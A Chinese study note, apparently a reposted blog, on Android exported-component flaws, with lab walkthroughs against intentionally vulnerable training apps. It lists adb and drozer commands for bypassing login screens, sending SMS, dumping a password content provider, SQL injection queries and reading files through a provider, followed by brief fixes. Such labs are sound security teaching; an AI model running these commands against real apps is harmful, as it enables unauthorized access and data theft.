移动安全学习笔记——组件安全之组件暴露导致的安全问题(含实验)

0x00 漏洞原理

exported的组件可以被第三方APP调用,在权限控制不当的情况下,可能导致敏感信息泄露、绕过认证、越权行为执行等风险。

0x01 检测方法

1、手动查看
  • 1-反编译apk,查看AndroidManifest.xml
  • 2-查看组件是否被导出或默认导出。
    • 具有intent-filter标签时,默认为exported=true
    • 不具有intent-filter标签时,默认为exported=false
  • 导出的组件是否有Signature以上级别的权限控制。
2、利用Drozer
dz> run app.package.attacksurface <package-name> //查看暴露组件
dz> run app.activity.info -a <package-name> -i //查看activity信息
dz> run app.service.info -a <package-name> -i //查看service信息
dz> run app.broadcast.info -a <package-name> -i //查看broadcast receiver信息

0x02 漏洞案例

1、【漏洞示例1——Activity暴露导致绕过认证】

第一步,反编译查看Manifest.xml,查找包名、Activity

第二步,确定目标,分析方法

目标:
绕过输入密码界面进入登录后界面

方法:

1.使用adb启动暴露的Activity

2.使用一个恶意apk调用该Activity

3.使用Mercury框架来发动这种攻击

使用adb启动暴露的Activity

连接adb,使用adb启动activity命令。

adb shell am start -n com.isi.testapp/.Welcome

在这里插入图片描述

可以看到直接进入了登录后的界面。

使用一个恶意的应用调用其他应用的Activity

另一个调用其他应用的Activity的方法是写一个恶意的应用,让它通过包名称和Activity名称来调用。下图展示了程序部分代码。在我们这个案例中,恶意程序不需要申请额外权限来调用Welcome Activity。

Intent i= new Intent();
i.setComponent(new ComponentName("com.isi.testapp","com.isi.testapp.Welcome"));
startActivity(i);

使用Mercury框架

2、【漏洞示例1——BroadcastReceiver暴露导致发送短信】

第一步,反编译查看Manifest.xml,查找包名、Receiver

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tP5cotH5-1614252717819)(F:/xiaomi/notes/AndroidSecurity%25E5%25AD%25A6%25E4%25B9%25A0%25E7%25AC%2594%25E8%25AE%25B0/3-%25E7%25BB%2584%25E4%25BB%25B6%25E5%25AE%2589%25E5%2585%25A8/pic/lab2-0.png)]

利用drozer

run app.package.attacksurface org.owasp.goatdroid.fourgoats

第二步,确认利用目标,寻找利用方法

利用目标:发送任意内容短信

利用方法:drozer

利用过程:先查找SendSMSNowReceiver的代码实现。

在这里插入图片描述

在jeb中直接看到的是smali代码,按tab键就能换成Java代码。

package org.owasp.goatdroid.fourgoats.broadcastreceivers;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import org.owasp.goatdroid.fourgoats.misc.Utils;

public class SendSMSNowReceiver extends BroadcastReceiver {
    Context context;

    @Override  // android.content.BroadcastReceiver
    
    public void onReceive(Context arg8, Intent arg9) {
        this.context = arg8;
        SmsManager sms = SmsManager.getDefault();
        Bundle bundle = arg9.getExtras();
        sms.sendTextMessage(bundle.getString("phoneNumber"), null, bundle.getString("message"), null, null);
        Utils.makeToast(this.context, "Your text message has been sent!", 1);
    }
}

根据以上代码可以获取到参数phoneNumbermessage,于是可以通过Intent去调用SOCIAL_SMS(在Manifest中注册的名字,不是类名SendSMSNowReceive)。

构造发送短信命令:

dz> run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 10010 --extra string message hacked!

攻击效果:

在这里插入图片描述

3、【漏洞示例3——Service暴露导致信息泄露】

第一步,反编译查看Manifest.xml,查找包名、Service。

包名:org.owasp.goatdroid.fourgoats

Service:.services.LocationService

在这里插入图片描述

第二步,确认利用目标,寻找利用方法

利用目标:获取定位信息

利用方法:drozer

利用过程:启动定位服务的测试代码如下:

dz> run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService

利用结果:

此处应是GPS打开截图,但是我失败了。。。

4、【漏洞示例4——ContentProvider暴露导致信息泄露】

第一步,反编译查看Manifest.xml,查找包名、Provider。

包名:com.mwr.example.sieve

Service:com.mwr.example.sieve.DBContentProvider

在这里插入图片描述

利用drozer:

在这里插入图片描述

第二步,确认利用目标,寻找利用方法

利用目标:获取敏感信息

利用方法:drozer

利用过程:查找可访问的uri的列表、路径的测试代码如下:

 run scanner.provider.finduris -a com.mwr.example.sieve

在这里插入图片描述

查询数据库的信息,发现存在数据泄露问题。

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

在这里插入图片描述

5、【漏洞示例5——ContentProvider SQL注入问题】

第一步,反编译查看Manifest.xml,查找包名、Provider。

包名:com.mwr.example.sieve

Service:com.mwr.example.sieve.DBContentProvider

在这里插入图片描述

第二步,确认利用目标,寻找利用方法

利用目标:获取数据库信息

利用方法:drozer进行手工注入或扫描

利用过程:

测试是否存在SQL注入问题,测试代码如下:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

在这里插入图片描述

列出所有表信息。

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

获取具体表信息

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM key;--"

在这里插入图片描述

利用扫描功能:

对注入点进行扫描

run scanner.provider.injection -a  com.mwr.example.sieve

在这里插入图片描述

列出该app的所有表信息

run scanner.provider.sqltables -a  com.mwr.example.sieve

在这里插入图片描述

6、【漏洞示例6——ContentProvider文件读写问题】

读取文件

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

在这里插入图片描述

下载文件

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data

执行失败返回结果。
在这里插入图片描述

7、【漏洞示例7——ContentProvider目录遍历问题】
run scanner.provider.traversal -a com.mwr.example.sieve

在这里插入图片描述

0x03 修复方案

1、设置android:exported属性为false
2、通过权限控制限制访问

0x04 参考

1、

猜你喜欢

转载自blog.csdn.net/syy0201/article/details/114102055